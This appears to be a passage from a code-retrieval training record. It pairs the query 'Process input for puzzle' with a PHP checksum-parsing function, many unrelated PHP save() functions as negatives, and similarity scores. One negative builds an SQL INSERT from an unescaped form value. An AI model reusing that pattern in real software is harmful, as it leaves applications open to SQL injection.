"public function save()\n {\n $_SESSION['quiz'][$this->_testId] = serialize($this->_answers);\n }",
"private function save_hash_file(){\n\n $file = MD5_HASHER_DIR.$this->file_check;\n if(is_file($file) && is_writable($file)){\n $fh = fopen($file, 'w');\n fwrite($fh, json_encode($this->md5_gen_output));\n fclose($fh);\n return true;\n }\n\n return false;\n }",
"public function save(): bool\n {\n\n $bytes_written = file_put_contents($this->file_name, json_encode($this->getData()));\n\n if ($bytes_written === FALSE) {\n return false;\n }\n\n return true;\n }",
"public function save()\n {\n try {\n $testRunCache = new CTM_Test_Run_Cache();\n $testRun = $testRunCache->getById($this->testRunId);\n\n if ( $testRun->testRunStateId == $this->testRunStateId ) {\n // if the state is already set save the trouble of the save()\n } else if ( $testRun->testRunStateId == 5 ) {\n // If the test run has failed we cannot undo a failure.\n } else {\n $testRun->testRunStateId = $this->testRunStateId;\n $testRun->save();\n }\n\n } catch ( Exception $e ) {\n }\n\n // do the default save method.\n return parent::save();\n }",
"private static function save() {\n\t\tif(self::$data===null) throw new Excepton('Save before load!');\n\t\t$fp=fopen(self::$datafile,'w');\n\t\tif(!$fp) throw new Exception('Could not write data file!');\n\t\tforeach (self::$data as $item) {\n\t\t\tfwrite($fp,$item); // we use the __toString() here\n\t\t}\n\t\tfclose($fp);\n\t}",
"private function writeTextToFile() {\n\t\t$text = $this -> pm -> getText($this -> padid);\n\t\t$path = sprintf('%s/%s.tex', $this -> directory, $this -> name);\n\t\tfile_put_contents($path, $text);\n\t}",
"public function autosaved()\n {\n }",
"public function save()\n {\n }",
"public function saveTindakanKomponen(){\n\t\t\t$tindakankomponentersimpan = true;\n\t\t\t\n\t\t\treturn $tindakankomponentersimpan;\n\t\t}",
"function save($b){\r\n\techo \"<b>SOMETHING WENT WRONG.</b> Saving to _junk.txt<P>\";\t\r\n\t$fp = fopen(\"_junk.txt\", \"w\");\r\n\tfwrite($fp, $b); \r\n\tfclose($fp);\t\r\n}",
"public function saveDataToFile()\n {\n\n }",
"public function saveToFile() {\n\n $file = $this->getExtractedFile();\n\n $file->close();\n\n $this->extractedFile = false;\n }",
"private function saveFixture($name) {\n file_put_contents(\n $this->fixturePath() . '/' . $name . '.txt',\n serialize($this->{$name})\n );\n }",
"function save($objet) {\n\t// Random code for subject\n\t\t$code = substr(str_shuffle(\"0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ\"), 0, 5);\n\n\t\t$sql = \"INSERT INTO cat_materia(vchCodigoMateria, vchMateria)\n\t\t\t\tVALUES\t('\".$code.\"', '\".$objet['name'].\"')\";\n\t\t$result = $this -> query($sql);\n\t\t\n\t\treturn $result;\n\t}",
"public function save()\n {\n return file_put_contents($this->getFilepath(), $this->read());\n }",
"protected function onSaved()\n {\n return true;\n }",
"private function saveData(): void\n {\n $this->tab_chat_call->call_update = gmdate(\"Y-m-d H:i:s\"); //data e hora UTC\n $result = $this->tab_chat_call->save();\n\n if ($result) {\n $this->Result = true;\n $this->Error = [];\n $this->Error['msg'] = \"Sucesso!\";\n $this->Error['data']['call'] = $this->tab_chat_call->call_id;\n } else {\n $this->Result = false;\n $this->Error = [];\n $this->Error['msg'] = $this->tab_chat_call->fail()->getMessage();\n $this->Error['data'] = null;\n }\n }",
"public function save()\n {\n $settings = Yii::$app->getModule('termsbox')->settings;\n $settings->set('title', $this->title);\n $settings->set('statement', $this->statement);\n $settings->set('content', $this->content);\n $settings->set('active', (boolean) $this->active);\n $settings->set('showAsModal', (boolean) $this->showAsModal);\n $settings->set('hideUnaccepted', (boolean) $this->hideUnaccepted);\n\n if ($setting = Setting::findByName('content')) {\n RichText::postProcess($this->content, $setting);\n }\n\n if ($this->reset) {\n User::updateAll(['termsbox_accepted' => false]);\n if (!Yii::$app->user->isGuest) {\n Yii::$app->user->getIdentity()->termsbox_accepted = false;\n }\n }\n\n return true;\n }",
"function backup($bf, $preferences, $question, $level = 6) {\n //print('backup()');\n $status = true;\n $multichoices = get_records(\"question_turprove\", \"question\", $question, \"id\");\n //If there are multichoices\n if ($multichoices) {\n //Iterate over each multichoice\n foreach ($multichoices as $multichoice) {\n $status = fwrite($bf, start_tag(\"turprove\", $level, true));\n //Print multichoice contents\n fwrite($bf, full_tag(\"LAYOUT\", $level + 1, false, $multichoice->layout));\n fwrite($bf, full_tag(\"ANSWERS\", $level + 1, false, $multichoice->answers));\n fwrite($bf, full_tag(\"SINGLE\", $level + 1, false, $multichoice->single));\n fwrite($bf, full_tag(\"SHUFFLEANSWERS\", $level + 1, false, $multichoice->shuffleanswers));\n fwrite($bf, full_tag(\"CORRECTFEEDBACK\", $level + 1, false, $multichoice->correctfeedback));\n fwrite($bf, full_tag(\"PARTIALLYCORRECTFEEDBACK\", $level + 1, false, $multichoice->partiallycorrectfeedback));\n fwrite($bf, full_tag(\"INCORRECTFEEDBACK\", $level + 1, false, $multichoice->incorrectfeedback));\n\n fwrite($bf, full_tag(\"QUESTIONSOUND\", $level + 1, false, $multichoice->questionsound));\n fwrite($bf, full_tag(\"AUTOPLAY\", $level + 1, false, $multichoice->autoplay));\n fwrite($bf, full_tag(\"QDIFFICULTY\", $level + 1, false, $multichoice->qdifficulty));\n\n $status = fwrite($bf, end_tag(\"turprove\", $level, true));\n }\n\n //Now print question_answers\n // $status = backup_answers();\n // $status = question_backup_answers_tur($bf,$preferences,$question);\n $answers = get_records(\"question_answers\", \"question\", $question, \"id\");\n //If there are answers\n if ($answers) {\n\n\n $status = $status && fwrite($bf, start_tag(\"ANSWERS\", $level, true));\n //Iterate over each answer\n foreach ($answers as $answer) {\n $status = $status && fwrite($bf, start_tag(\"ANSWER\", $level + 1, true));\n //Print answer contents\n fwrite($bf, full_tag(\"ID\", $level + 2, false, $answer->id));\n fwrite($bf, full_tag(\"ANSWER_TEXT\", $level + 2, false, $answer->answer));\n fwrite($bf, full_tag(\"FRACTION\", $level + 2, false, $answer->fraction));\n fwrite($bf, full_tag(\"FEEDBACK\", $level + 2, false, $answer->feedback));\n\n if ($answer->answersound == null) {\n fwrite($bf, full_tag(\"ANSWERSOUND\", $level + 2, false, ''));\n } else {\n fwrite($bf, full_tag(\"ANSWERSOUND\", $level + 2, false, $answer->answersound));\n }\n\n if ($answer->feedbacksound == null) {\n fwrite($bf, full_tag(\"FEEDBACKSOUND\", $level + 2, false, ''));\n } else {\n fwrite($bf, full_tag(\"FEEDBACKSOUND\", $level + 2, false, $answer->feedbacksound));\n }\n\n if ($answer->tur_answer_truefalse == null) {\n fwrite($bf, full_tag(\"TUR_ANSWER_TRUEFALSE\", $level + 2, false, ''));\n } else {\n fwrite($bf, full_tag(\"TUR_ANSWER_TRUEFALSE\", $level + 2, false, $answer->tur_answer_truefalse));\n }\n\n $status = $status && fwrite($bf, end_tag(\"ANSWER\", $level + 1, true));\n }\n $status = $status && fwrite($bf, end_tag(\"ANSWERS\", $level, true));\n }\n\n //Now print question_answers\n // $status = question_backup_answers($bf, $preferences, $question);\n }\n return $status;\n }",
"public abstract function save();",
"public function testSave() {\n\t\t$temaBuscar = new Tema;\n\t\t$temaBuscar->nombre = 'Prueba';\n\t\t$this->assertEquals( count( $temaBuscar->search()->getData() ), 0 );\n\t\n\t\t// guarda el tema\n\t\t$tema = new Tema;\n\t\t$tema->nombre = 'Prueba';\n\t\t$tema->responsable = 1;\n\t\t$tema->save();\n\t\n\t\t$this->assertEquals( count( $temaBuscar->search()->getData() ), 1 );\n\t}",
"public function save()\r\n {\r\n //\r\n }",
"function beforeSaveLoop()\r\n {\r\n }",
"public function save(){\n return parent::writeFile( $this->outputFile, $this->template);\n }",
"private function check_DB() {\n $this->record_progress(\n \"Step 4: Identifying which mutations are already in database\");\n\n $path_valid = $this->path_valid;\n $path_new_input = $this->path_new_input;\n\n $table = \"NewSpliceman\";\n\n $this->record_progress(\"1\");\n\n $read_valid = fopen($path_valid, \"r\") or \n die (\"Unable to open file!\");\n $write_new_input = fopen($path_new_input, \"a\") or \n die (\"Unable to open file!\");\n\n $this->record_progress(\"2\");\n\n $valid_mutations = false;\n\n while (! feof($read_valid)) {\n $this->record_progress(\"3\");\n $mutation = fgets($read_valid);\n if (ctype_space($mutation)) {\n break;\n }\n $mutation_data = explode(\"\\t\", $mutation);\n $this->record_progress(\"4\");\n if ($this->is_valid($mutation_data)) {\n $this->record_progress(\"5\");\n $db_key = \n $mutation_data[0].\"_\".$mutation_data[5].\"_\".\n $mutation_data[6].\"_\".$mutation_data[7].\"_\".\n $mutation_data[11].\"_\".$mutation_data[12];\n // Removes newline characters, if they are present\n $db_key = str_replace(\"\\n\", \"\", $db_key);\n $this->record_progress(\"6\");\n $result = DB::table($table)->\n where('chr_loc_wild_mut_transcript_exon', $db_key)->\n first();\n $valid_mutations = true;\n $this->record_progress(\"8\");\n if (count($result) == 0) {\n fwrite($write_new_input, $mutation);\n }\n $this->record_progress(\"9\");\n } \n } \n\n $this->record_progress(\"10\");\n fclose($read_valid);\n fclose($write_new_input);\n\n $this->record_progress(\"11\");\n }",
"public function Save()\r\n {\r\n return false;\r\n }",
"protected function saveData()\n {\n // TODO: データ保存\n\n // 一次データ削除\n $this->deleteStore();\n\n drupal_set_message($this->t('The form has been saved.'));\n }",
"public function save()\n {\n // For V2.0\n }",
"function persist() ;",
"public function save()\n {\n return false;\n }",
"function saveTxT($chatId, $from, $message){\r\r\n $myfile = \"fichero.txt\";\r\r\n //$fichero = file_get_contents($myfile);\r\r\n $txt = $chatId.\"-\".$message.\"-\".$from. \" \\n\";\r\r\n //$fichero.= $txt;\r\r\n\r\r\n file_put_contents($myfile, $txt, FILE_APPEND | LOCK_EX); \r\r\n \r\r\n}",
"function save()\n {\n /* remove objectclass GOhard if this is an ogroup tab */\n if(isset($this->parent->by_object['ogroup'])){\n $this->objectclasses = array();\n }\n\n plugin::save();\n\n /* Strip out 'default' values */\n foreach(array(\"gotoXMethod\",\"gotoXDriver\", \"gotoXResolution\", \"gotoXColordepth\",\n \"gotoLpdServer\", \"gotoXKbModel\", \"gotoXKbLayout\",\n \"gotoXKbVariant\", \"gotoXMouseType\", \"gotoXMouseport\") as $val){\n\n if ($this->attrs[$val] == \"default\"){\n $this->attrs[$val]= array();\n }\n }\n\n if($this->gotoXMethod == \"default\"){\n $this->attrs['gotoXdmcpServer'] = array();\n $this->attrs['gotoXMethod'] = array();\n }else{\n $this->attrs['gotoXdmcpServer'] = array_values($this->selected_xdmcp_servers);\n }\n\n\n if($this->AutoSync){\n $this->attrs['gotoXHsync'] = \"30+55\";\n $this->attrs['gotoXVsync'] = \"50+70\";\n }\n\n /* Write back to ldap */\n $ldap= $this->config->get_ldap_link();\n $ldap->cd($this->dn);\n $this->cleanup();\n $ldap->modify ($this->attrs); \n new log(\"modify\",\"terminal/\".get_class($this),$this->dn,array_keys($this->attrs),$ldap->get_error());\n\n if (!$ldap->success()){\n msg_dialog::display(_(\"LDAP error\"), msgPool::ldaperror($ldap->get_error(), $this->dn, LDAP_MOD, get_class()));\n }\n $this->handle_post_events(\"modify\");\n\n /* Send goto reload event */\n if(count($this->attrs)){\n $this->send_goto_reload();\n }\n }",
"public static function Guardar($unAuto)\n {\n//var_dump($unAuto);\n $archivo = fopen(\"Archivos/estacionados.txt\", \"a\");\n $renglon = $unAuto->patente.\"--\".$unAuto->fechIngreso.\"\\n\";\n \n fwrite($archivo, $renglon);\n fclose($archivo);\n }"
]
| [
"0.6235355",
"0.6001607",
"0.5981118",
"0.5953967",
"0.59170145",
"0.59170145",
"0.5859388",
"0.58337224",
"0.5832184",
"0.5781754",
"0.5767901",
"0.57483494",
"0.56978834",
"0.5679583",
"0.5669856",
"0.56463945",
"0.5623309",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56231767",
"0.56205744",
"0.56169724",
"0.5596745",
"0.55925655",
"0.55856293",
"0.55534434",
"0.55400544",
"0.5528456",
"0.55241466",
"0.5518528",
"0.5514843",
"0.5509972",
"0.5509972",
"0.55047214",
"0.5488083",
"0.54768497",
"0.54685104",
"0.54631245",
"0.54631245",
"0.54631245",
"0.54631245",
"0.54631245",
"0.5458759",
"0.5457468",
"0.5457468",
"0.545722",
"0.5456213",
"0.5435363",
"0.54196465",
"0.54078287",
"0.5380466",
"0.53797674",
"0.53797674",
"0.53712034",
"0.5361019",
"0.5359859",
"0.5359556",
"0.5356831",
"0.53560615",
"0.53506726",
"0.53433245",
"0.53344697",
"0.5330188",
"0.53145325",
"0.53143454",
"0.5302848",
"0.52948487",
"0.5291777",
"0.5283259",
"0.527963",
"0.5276262",
"0.52710086",
"0.5257396",
"0.5252445",
"0.5246335",
"0.52327543",
"0.5228348",
"0.52275366",
"0.52264315",
"0.5224937",
"0.5216576",
"0.5215499",
"0.5212072",
"0.5202544",
"0.52021486",
"0.51957726"
]
| 0.0 | -1 |
Process input for puzzle | public function processInput()
{
foreach ($this->input as $line) {
# Get the checksum
$splitString = explode('[', $line);
$encryptedName = $splitString[0];
$checksumDirty = $splitString[1];
# Get rid of the square bracket
$checksumLine = substr(trim($checksumDirty), 0, -1);
list($checksum, $number) = $this->getChecksum($encryptedName);
if ($checksum == $checksumLine) {
$this->sum += $number;
}
}
return $this->sum;
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function processInput()\n {\n $directionsArray = explode(',', $this->input[0]);\n $allVisitedCoordinates = [];\n $currentPositionX = 0;\n $currentPositionY = 0;\n # This represents an angle\n $currentDirection = 0;\n foreach ($directionsArray as $step) {\n $step = trim($step);\n $turn = substr($step, 0, 1);\n $distance = substr($step, -1 * (strlen($step) - 1));\n // Check where we're facing\n $currentDirection += ($turn == 'L' ? -90 : 90);\n if ($currentDirection % 360 == 0) {\n $currentDirection = 0;\n }\n // Move by given distance changing the coordinates\n switch ($currentDirection) {\n case 0:\n for ($i = 1; $i <= $distance; $i++) {\n $nextCoordinates = $currentPositionX . ':' . ($currentPositionY + $i);\n $allVisitedCoordinates[] = $nextCoordinates;\n }\n $currentPositionY += $distance;\n break;\n case 90:\n case -270:\n for ($i = 1; $i <= $distance; $i++) {\n $nextCoordinates = ($currentPositionX + $i) . ':' . $currentPositionY;\n $allVisitedCoordinates[] = $nextCoordinates;\n }\n $currentPositionX += $distance;\n break;\n case -90:\n case 270:\n for ($i = 1; $i <= $distance; $i++) {\n $nextCoordinates = ($currentPositionX - $i) . ':' . $currentPositionY;\n $allVisitedCoordinates[] = $nextCoordinates;\n }\n $currentPositionX -= $distance;\n break;\n case 180:\n case -180:\n for ($i = 1; $i <= $distance; $i++) {\n $nextCoordinates = $currentPositionX . ':' . ($currentPositionY - $i);\n $allVisitedCoordinates[] = $nextCoordinates;\n }\n $currentPositionY -= $distance;\n break;\n }\n }\n $countArray = [];\n foreach ($allVisitedCoordinates as $key => $coordinates) {\n if (array_key_exists($coordinates, $countArray)) {\n $countArray[$coordinates]++;\n $c = $coordinates;\n break;\n } else {\n $countArray[$coordinates] = 1;\n }\n }\n $coordinates = explode(':', $c);\n $this->distanceTotal = abs($coordinates[0]) + abs($coordinates[1]);\n }",
"abstract public function process($inputString);",
"protected function compileInputs()\n {\n if ([] !== $this->inputs) {\n foreach ($this->inputs as $key => $input) {\n// Add collection group\n if (is_numeric($key)) {\n\n } else {\n $this->buildInput($key, $this->getColumnInfo($key), $input);\n }\n }\n }\n }",
"private function proccess()\n {\n foreach ($this->validate as $name => $value) {\n $rules = $this->rules[$name];\n \n /* Let's see is this value a required, e.g not empty */\n if (preg_match('~req~', $rules)) {\n if ($this->isEmpty($value)) {\n $this->errors[] = $this->filterName($name) . ' can\\'t be empty, please enter required data.';\n continue; // We will display only one error per input\n }\n }\n \n /**\n * Let's see is this value needs to be integer\n */\n if (preg_match('~int~', $rules)) {\n if (!$this->isInt($value)) {\n $this->errors[] = $this->filterName($name) . ' is not number, please enter number.';\n continue; // We will display only one error per input\n }\n }\n \n /**\n * Let's see is this value needs to be text\n */\n if (preg_match('~text~', $rules)) {\n if (!$this->isText($value)) {\n $this->errors[] = $this->filterName($name) . ' is not text, please enter only letters.';\n continue; // We will display only one error per input\n }\n }\n \n /* This is good input */\n $this->data[$name] = $value;\n }\n }",
"function inputChecker($input){\n \n // il valore che deve essere restituito\n $ret = true;\n \n foreach($input as $key => $value){\n \n switch ($key){\n case 'file': // echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break; \n case 'id_cinguettio': // echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n $ret = idFormat($value);// echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'utente_seguace': \n case 'utente_seguito':\n case 'utente_segnalato':\n case 'utente_giudicato': \n case 'utente_luogo': \n case 'email_utente':\n $ret = emailFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\"; \n break;\n case 'password_conferma': \n case 'password':\n $ret = pwdFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'nickname':\n $ret = nickFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'nome':\n $ret = nameFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break; \n case 'cognome':\n $ret = nameFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break; \n case 'sesso':\n $ret = sexFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break; \n case 'giorno':\n $ret = dayFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'mese':\n $ret = monthFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'anno':\n $ret = yearFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'nazione_nascita':\n case 'regione_nascita':\n case 'citta_residenza':\n $ret = placeFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'hobby_1':\n $ret = hobbyFormat($value, VALID_HOBBY_1_FORMAT); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'hobby_2':\n $ret = hobbyFormat($value, VALID_HOBBY_2_FORMAT); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'hobby_3':\n $ret = hobbyFormat($value, VALID_HOBBY_3_FORMAT); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break; \n case 'hobby_4':\n $ret = hobbyFormat($value, VALID_HOBBY_4_FORMAT); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'hobby_5':\n $ret = hobbyFormat($value, VALID_HOBBY_5_FORMAT); // echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'hobby_6':\n $ret = hobbyFormat($value, VALID_HOBBY_6_FORMAT); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'hobby_7':\n $ret = hobbyFormat($value, VALID_HOBBY_7_FORMAT); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'hobby_8':\n $ret = hobbyFormat($value, VALID_HOBBY_8_FORMAT); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'hobby_9':\n $ret = hobbyFormat($value, VALID_HOBBY_9_FORMAT); // echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'hobby_10':\n $ret = hobbyFormat($value, VALID_HOBBY_10_FORMAT); // echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break; \n case 'commento':\n case 'messaggio':\n $ret = textFormat($value); // echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'descrizione_foto':\n $ret = descrFormat($value);// echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'gradi_lat':\n $ret = gradiLatFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'gradi_lng': \n $ret = gradiLngFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'minuti_lat':\n case 'minuti_lng': \n $ret = secMinFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break; \n case 'secondi_lat':\n case 'secondi_lng': \n $ret = secMinFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break; \n case 'direzione_lat':\n $ret = direzioneLatFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n case 'direzione_lng':\n $ret = direzioneLngFormat($value); //echo '('. $key .')' . $value . ': ' .$ret .\"\\n\";\n break;\n default:\n return false;\n } \n \n if($ret == false){\n break;\n }\n } \n return $ret;\n}",
"function processArgs($in) {\n\n\t\t$retval = $in;\n\n\t\t//\n\t\t// Default number of epochs.\n\t\t//\n\t\tif (!$retval[\"num-epochs\"]) {\n\t\t\t$retval[\"num-epochs\"] = 1;\n\t\t}\n\n\t\t//\n\t\t// Default number of games.\n\t\t//\n\t\tif (!$retval[\"num-games\"]) {\n\t\t\t$retval[\"num-games\"] = 10;\n\t\t}\n\n\t\t//\n\t\t// Turn the rolls into arrays\n\t\t//\n\t\tif ($retval[\"debug-rolls\"]) {\n\t\t\t$retval[\"debug-rolls\"] = explode(\",\", $retval[\"debug-rolls\"]);\n\t\t}\n\n\t\t//\n\t\t// Turn our players into arrays\n\t\t//\n\t\tif ($retval[\"players\"]) {\n\t\t\t$retval[\"players\"] = $this->processPlayers($retval[\"players\"]);\n\t\t}\n\n\t\treturn($retval);\n\n\t}",
"abstract public function getInput();",
"protected abstract function process();",
"abstract public function parseInput(array $input): array;",
"function process_input() {\n $input = explode(\n PHP_EOL,\n str_replace(\n [ '.', '#' ],\n [ '0', '1' ],\n file_get_contents( 'input.txt' ),\n )\n );\n\n $modulus = strlen( $input[0] );\n $input = array_map( 'bindec', $input );\n\n return [ $modulus, $input ];\n}",
"private function calculateInputData() {\n\t\t$this->inputValuesSetRawData();\n\t\t$this->explodeRowsToCells();\n\t\t$this->separateHeader();\n\t\t$this->validateValues();\n\t}",
"abstract protected function _process();",
"abstract protected function _process();",
"abstract protected function process();",
"abstract protected function process();",
"abstract protected function process();",
"abstract protected function process();",
"private function process_input()\n\t{\n\t//\t$report_end_datetime = OurTime::js_to_datetime($this->f_report_end, 1);\n\t\t\n\t\t$this->m_product_info_arr = DB::get_all_rows_fq ('\n\t\t\tSELECT products.*\n\t\t\tFROM products\n\t\t');\n\t\t\n\t\t//TESTING: show how many rows we got:\n\t\t//echo count($this->m_obj_info_arr);*/\n\n\t}",
"function calculate_winners($stdin){\r\n\r\n if (isset($_POST['single'])){\r\n\r\n // Setting the stdin to the value input by the user \r\n $stdin = $_POST['input'];\r\n\r\n // Getting the vars that will store the total wins\r\n global $x;\r\n global $o;\r\n global $d; \r\n\r\n // Replacing all line breaks with nothing so we get one big long string with all results inside\r\n $stdin = str_replace(\"\\\\n\",\"\",$stdin);\r\n \r\n // create a variable equal to the length of the string so that we can separate out individual games easily\r\n $length = strlen($stdin);\r\n\r\n // loop through the entire input (here $i is set as individual moves as this point)\r\n for ($i=1; $i<=$length; $i++) {\r\n\r\n if ($i % 9 === 0){\r\n\r\n // Separate out each individual 9 game move and set it to the $outcome var\r\n $outcome = substr($stdin, $i-9, 9);\r\n\r\n // Calculate the outcome of the winner of each 9 move game\r\n // Probably an ineffient way to do this **REVISIT**\r\n if ($outcome[0] === \"x\" && $outcome[1] === \"x\" && $outcome[2] === \"x\"){\r\n $winner = \"x\";\r\n self::add_game($winner, $outcome);\r\n $x++;\r\n } else if ($outcome[3] === \"x\" && $outcome[4] === \"x\" && $outcome[5] === \"x\"){\r\n $winner = \"x\";\r\n self::add_game($winner, $outcome);\r\n $x++;\r\n } else if ($outcome[6] === \"x\" && $outcome[7] === \"x\" && $outcome[8] === \"x\"){\r\n $winner = \"x\";\r\n self::add_game($winner, $outcome);\r\n $x++;\r\n } else if ($outcome[0] === \"x\" && $outcome[3] === \"x\" && $outcome[6] === \"x\"){\r\n $winner = \"x\";\r\n self::add_game($winner, $outcome);\r\n $x++;\r\n } else if ($outcome[1] === \"x\" && $outcome[4] === \"x\" && $outcome[7] === \"x\"){\r\n $winner = \"x\";\r\n self::add_game($winner, $outcome);\r\n $x++;\r\n } else if ($outcome[2] === \"x\" && $outcome[5] === \"x\" && $outcome[8] === \"x\"){\r\n $winner = \"x\";\r\n self::add_game($winner, $outcome);\r\n $x++;\r\n } else if ($outcome[0] === \"x\" && $outcome[4] === \"x\" && $outcome[8] === \"x\"){\r\n $winner = \"x\";\r\n self::add_game($winner, $outcome);\r\n $x++;\r\n } else if ($outcome[2] === \"x\" && $outcome[4] === \"x\" && $outcome[6] === \"x\"){\r\n $winner = \"x\";\r\n self::add_game($winner, $outcome);\r\n $x++;\r\n } else if ($outcome[0] === \"o\" && $outcome[1] === \"o\" && $outcome[2] === \"o\"){\r\n $winner = \"o\";\r\n self::add_game($winner, $outcome);\r\n $o++;\r\n } else if ($outcome[3] === \"o\" && $outcome[4] === \"o\" && $outcome[5] === \"o\"){\r\n $winner = \"o\";\r\n self::add_game($winner, $outcome);\r\n $o++;\r\n } else if ($outcome[6] === \"o\" && $outcome[7] === \"o\" && $outcome[8] === \"o\"){\r\n $winner = \"o\";\r\n self::add_game($winner, $outcome);\r\n $o++;\r\n } else if ($outcome[0] === \"o\" && $outcome[3] === \"o\" && $outcome[6] === \"o\"){\r\n $winner = \"o\";\r\n self::add_game($winner, $outcome);\r\n $o++;\r\n } else if ($outcome[1] === \"o\" && $outcome[4] === \"o\" && $outcome[7] === \"o\"){\r\n $winner = \"o\";\r\n self::add_game($winner, $outcome);\r\n $o++;\r\n } else if ($outcome[2] === \"o\" && $outcome[5] === \"o\" && $outcome[8] === \"o\"){\r\n $winner = \"o\";\r\n self::add_game($winner, $outcome);\r\n $o++;\r\n } else if ($outcome[0] === \"o\" && $outcome[4] === \"o\" && $outcome[8] === \"o\"){\r\n $winner = \"o\";\r\n self::add_game($winner, $outcome);\r\n $o++;\r\n } else if ($outcome[2] === \"o\" && $outcome[4] === \"o\" && $outcome[6] === \"o\"){\r\n $winner = \"o\";\r\n self::add_game($winner, $outcome);\r\n $o++;\r\n } else {\r\n $winner = \"draw\";\r\n self::add_game($winner, $outcome);\r\n $d++;\r\n } \r\n }\r\n }\r\n \r\n // End of for loop for individual input\r\n // This will take the amount of wins and call a function that will display to the end user\r\n // No need for SQL input at this point as this information is just displayed and then not needed\r\n // All relevant information has already been added to the db \r\n self::calculate_single_input($x, $o, $d);\r\n }\r\n }",
"abstract protected function inputs(): array;",
"public function processInput()\n {\n // Check to make sure the file exits and is readable.\n if (file_exists($this->inputName) && is_readable($this->inputName)) {\n // Get handle and open file.\n $handle = fopen($this->inputName, \"r\");\n\n // Loop through each file and save # locations.\n $lineCount = 0;\n while (!feof($handle)) {\n // Get the line.\n $line = fgets($handle);\n\n // Set inital character postion for the line.\n $pos = -1;\n\n // Get each # position per line.\n while (($pos = strpos($line, '#', $pos + 1)) !== false) {\n $this->hashes[$lineCount + 1][] = $pos;\n }\n\n // Set the line length the first time (assumes each line is same).\n if ($lineCount === 0) {\n $this->lineLength = strlen(trim($line));\n }\n\n // Next line.\n $lineCount++;\n }\n\n // Save lineCount for future output.\n $this->lineCount = $lineCount;\n\n fclose($handle);\n } else {\n throw new Exception('File did not exist or was not readable.');\n }\n }",
"public function processInput() {\n\n\t\t$data = $this->wire('input')->post; \n\t\tif(!count($data)) return false; \t\n\n\t\tif($key = $this->options['requireSecurityField']) {\n\t\t\tif(empty($data[$key])) return false; \n\t\t}\n\n\t\tif($key = $this->options['requireHoneypotField']) {\n\t\t\tif(!empty($data[$key])) return false;\n\t\t}\n\n\t\t$comment = $this->wire(new Comment()); \n\t\t$comment->user_agent = $_SERVER['HTTP_USER_AGENT']; \n\t\t$comment->ip = $this->wire('session')->getIP();\n\t\t$comment->created_users_id = $this->user->id; \n\t\t$comment->sort = count($this->comments)+1; \n\t\t$comment->parent_id = (int) $data->parent_id; \n\n\t\t$errors = array();\n\t\t// $sessionData = array(); \n\n\t\tforeach(array('cite', 'email', 'website', 'stars', 'text') as $key) {\n\t\t\tif($key == 'website' && (!$this->commentsField || !$this->commentsField->useWebsite)) continue;\n\t\t\tif($key == 'stars' && (!$this->commentsField || !$this->commentsField->useStars)) continue;\n\t\t\tif($this->options['presetsEditable'] || !isset($this->options['presets'][$key]) || $this->options['presets'][$key] === null) {\n\t\t\t\t$comment->$key = $data->$key; // Comment performs sanitization/validation\n\t\t\t} else {\n\t\t\t\t$comment->$key = $this->options['presets'][$key];\n\t\t\t}\n\t\t\tif($key != 'website' && $key != 'stars' && !$comment->$key) $errors[] = $key;\n\t\t\t$this->inputValues[$key] = $comment->$key;\n\t\t\t//if($key != 'text') $sessionData[$key] = $comment->$key; \n\t\t}\n\n\t\t$flags = 0;\n\t\t$notify = (int) $data->notify;\n\t\tif($this->commentsField->useNotify && $notify) {\n\t\t\tif($notify == Comment::flagNotifyAll && $this->commentsField->useNotify == Comment::flagNotifyAll) {\n\t\t\t\t$flags = Comment::flagNotifyAll;\n\t\t\t} else {\n\t\t\t\t$flags = Comment::flagNotifyReply;\n\t\t\t}\n\t\t\tif($flags) {\n\t\t\t\t// $sessionData['notify'] = $notify;\n\t\t\t\t$this->inputValues['notify'] = $notify;\n\t\t\t\t// send confirmation email\n\t\t\t}\n\t\t}\n\t\t$comment->flags = $flags;\n\n\t\tif(!count($errors)) {\n\t\t\tif($this->comments->add($comment) && $this->commentsField) 